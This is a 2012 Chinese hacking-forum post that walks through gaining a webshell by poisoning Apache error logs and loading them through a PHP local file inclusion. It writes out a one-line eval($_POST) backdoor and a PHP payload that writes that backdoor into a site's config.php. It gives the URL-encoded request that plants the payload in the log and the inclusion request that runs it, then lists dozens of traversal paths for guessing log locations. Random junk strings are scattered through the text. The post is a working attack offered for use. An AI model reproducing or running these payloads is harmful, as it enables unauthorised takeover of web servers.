找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1948|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
* ?) g# S! V. M' u$ N; Y9 ?- J8 H2 y5 T3 A0 W, O' @* ~: F1 b  p
比如还是这句一句话木马 7 \0 e# A2 R: |# v
<?eval($_POST[cmd]);?>   ! V3 ]  [; U, y4 m3 F* w! p  E

, g# U9 z, J9 a3 }+ B# ?! a" n" ?到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
$ K+ D' g- M4 J0 X4 X' U8 ]0 Xfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 4 B/ \, S" V' A7 c! T: Q

: X  b$ s& H! o! V" v& f5 b3 Q<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
' n' }$ g0 x1 H$ v$ R0 Kfclose($fp);?>   //在config.php里写入一句木马语句 : K. j; r' p. O, c+ `

/ p9 F0 M0 y( `; m! v# q4 S我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 . I$ |( p, g+ y8 G
转换为 9 [2 H5 H; g7 q3 n7 Z7 S3 l  A6 z
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
! ?- O2 `! ^7 F: oconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
8 b+ l1 h  t4 j4 w- P; e3 P8 j4 J%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B & ~. I% O! M* K! [: Q
fclose%28%24fp%29%3B%3F%3E + H' B, q/ s* n' h/ H% l3 \
我们提交 , u7 p& `- O, U9 A0 ?
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww . }, p: F; ^+ |
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
7 f- P6 L( d  D; H8 A' z# g%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B , L3 v& }, Y/ ~' A: E) ^
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E 0 ^/ l, O/ t8 F8 n
: s; _9 N; K6 H
这样就错误日志里就记录下了这行写入webshell的代码。 * `# x$ J2 ]) C+ n4 _
我们再来包含日志,提交 7 c* X' g3 [1 A7 h, x: N' A7 w
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log - i) N, ]! i( o+ E7 U
6 e( E, m" p$ [
这样webshell就写入成功了,config.php里就写入一句木马语句
" y, m' A5 n! y" e  j9 M- k5 ]OK.
) k% _$ l) ]1 R; P. J# L1 {- chttp://www.xxx.com/forum/config.php这个就成了我们的webshell
+ x8 \6 [" [9 S- `直接用lanker的客户端一连,主机就是你的了。 1 h5 l) Y7 G0 U! Y5 `
) M; I9 L# Y! J1 K' g( ]
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
  e/ C+ d2 v6 H* k4 m; ~6 y9 ]. @6 J2 e
其他的日志路径,你可以去猜,也可以参照这里。
( Q) @4 o: l2 d4 C/ I../../../../../../../../../../var/log/httpd/access_log * U2 A5 V* r/ C, G: P, w
../../../../../../../../../../var/log/httpd/error_log 1 S4 D' ?( Z* |1 ?  K# O
../apache/logs/error.log 4 Q9 n& L' z$ `5 [9 V
../apache/logs/access.log
. x  p2 k6 z( c: K. b1 s../../apache/logs/error.log
: [$ M4 l/ ]/ W# s6 v2 y1 E. L$ j../../apache/logs/access.log
. q  f5 w) q  q$ x4 ~  V../../../apache/logs/error.log 4 W0 z  t9 ^8 r- M9 d
../../../apache/logs/access.log * [7 C' O/ ~: o' M) c
../../../../../../../../../../etc/httpd/logs/acces_log
3 L: @9 h- r( i- p9 y../../../../../../../../../../etc/httpd/logs/acces.log
4 a7 u2 T+ Y* a# c../../../../../../../../../../etc/httpd/logs/error_log " y" c9 C; ~: S8 Q( j9 X
../../../../../../../../../../etc/httpd/logs/error.log
) |* Q9 V+ j- E( m$ _' v; u% ~3 G../../../../../../../../../../var/www/logs/access_log ) _+ }7 y; u6 D7 n
../../../../../../../../../../var/www/logs/access.log
* i0 A6 B( \0 k* |: w+ {' v" v# i../../../../../../../../../../usr/local/apache/logs/access_log % `# p! D0 j9 f1 D( ~
../../../../../../../../../../usr/local/apache/logs/access.log 4 J' Q' u6 f) u0 V1 b% L
../../../../../../../../../../var/log/apache/access_log 4 j  L8 s/ e2 j+ z& b0 y
../../../../../../../../../../var/log/apache/access.log
8 H2 @7 \* q) W0 M, B../../../../../../../../../../var/log/access_log
# }: I% G2 K- M3 Z9 b7 A7 c../../../../../../../../../../var/www/logs/error_log ' V, `+ v4 N, X3 ]
../../../../../../../../../../var/www/logs/error.log * G& y/ C6 w9 L  f
../../../../../../../../../../usr/local/apache/logs/error_log . E; A" F2 G6 _# _
../../../../../../../../../../usr/local/apache/logs/error.log # g% L# B/ p9 ?, g6 H) K
../../../../../../../../../../var/log/apache/error_log ( k  s0 k5 C. O4 Q5 c( I& t
../../../../../../../../../../var/log/apache/error.log
# Z% D  G( P5 E  |, {3 ~' ^../../../../../../../../../../var/log/access_log ; m1 X; V( w; A6 P0 v5 C
../../../../../../../../../../var/log/error_log
6 n( M; k! v* T0 N* P/var/log/httpd/access_log       5 ]" }1 E1 {/ D1 e$ p& M
/var/log/httpd/error_log     
. D9 C0 [0 N" |9 f1 x" A../apache/logs/error.log     ) }8 H: v" P% I
../apache/logs/access.log : ^8 ~' J/ h& U& U3 H+ a4 L! R
../../apache/logs/error.log
0 m3 d  x1 d' [6 {% z! K! K2 K../../apache/logs/access.log 7 \5 \/ O0 m# a& W* y
../../../apache/logs/error.log 4 O1 _8 \' Y( r. R/ S
../../../apache/logs/access.log
7 g, P' h6 G& ~* n4 @/ b) s5 s/etc/httpd/logs/acces_log 4 V& }1 Z% E% Q2 ^3 B
/etc/httpd/logs/acces.log + ]/ Q" m8 G& V: f. W( c
/etc/httpd/logs/error_log
4 u; l) q0 F# ?* B% ^' D- r/etc/httpd/logs/error.log
4 z0 }* y2 ~4 G0 d/var/www/logs/access_log / G) Z5 ~* q- z
/var/www/logs/access.log
5 Q" Y, q5 [$ j  I5 K/usr/local/apache/logs/access_log , m8 j8 c. P) D3 l* p1 C: F( s5 c1 K
/usr/local/apache/logs/access.log + _. o6 F7 U" k% L. H
/var/log/apache/access_log
5 l0 R! s" L% Y, D9 p/var/log/apache/access.log
/ f9 x  V( z) `8 E$ `9 D/var/log/access_log
; r+ g! x) |! v. K! ~3 E/var/www/logs/error_log
& q+ o  o6 W6 _8 X/ g7 a/var/www/logs/error.log
6 ^( K5 L0 t. N; i' n1 u; O/usr/local/apache/logs/error_log 5 c% d( e' D2 K7 b# Q% ?5 F" x3 ?$ ?
/usr/local/apache/logs/error.log
, H1 E9 W2 Z$ ?0 l( z+ a* S1 `1 f/var/log/apache/error_log
- u& o. e9 ^4 }2 V/var/log/apache/error.log
, g; t& d  M' ^# t6 `# ]( w4 t, ~0 K/var/log/access_log 5 C! q/ ^) u8 Q( b+ H  V# h
/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表